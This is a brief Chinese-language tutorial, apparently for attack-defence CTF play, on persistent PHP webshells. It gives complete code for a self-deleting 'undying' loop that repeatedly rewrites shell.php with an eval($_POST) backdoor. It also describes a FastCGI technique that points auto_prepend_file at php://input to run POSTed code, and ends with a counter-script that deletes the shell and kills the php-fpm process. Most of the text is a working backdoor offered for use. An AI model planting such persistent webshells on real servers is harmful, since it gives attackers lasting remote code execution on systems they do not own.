两种

1.不死马,直接用代码写一个死循环,不间断写入php shell,或者执行一段代码

<?php
set_time_limit(0);// 设置脚本执行的最大时间限制。将参数设置为0意味着脚本可以无限制地运行,没有时间限制。
ignore_user_abort(1);// 用户访问完成代码仍然继续运行
unlink(__FILE__);// 删除当前正在执行的 PHP 文件。__FILE__ 是一个常量,表示当前执行脚本的文件的完整路径和文件名。
while (1) {// 无限循环
$content = '<?php @eval($_POST["test"]) ?>';
file_put_contents("shell.php", $content);// 用于将字符串内容写入到文件中
usleep(10000);// 让脚本休眠一段时间,以微秒为单位
}
?>

2.fastcgi马,利用php-fpm可以直接通过fastcgi协议通讯的原理,可以指定SCRIPT_FILENAME,去执行机器上存在的 PHP 文件;或者配合auto_prepend_file+php://input,通过每次提交POST code去执行

PHP 中有两个有趣的配置项,

  • auto_prepend_file:指定在执行每个php文件之前自动包含的文件。
  • auto_append_file:用于指定在执行每个php文件之后自动包含的文件

假设将 auto_prepend_file 设置为 php://input,这就相当于执行任何 PHP 文件前都要包含一遍 POST 的内容。这样的话咱们只需要把PHP代码放在请求里,就会被当作代码被执行。(需要启用远程文件包含选项 allow_url_include

第一种木马的查杀方式

<?php
ignore_user_abort(true);
set_time_limit(0);
while (1) {
$pid = 353; // php-fpm 进程
@unlink("shell.php");
exec("kill -9 $pid");
usleep(1000);// 我的剑比你的剑快
}
?>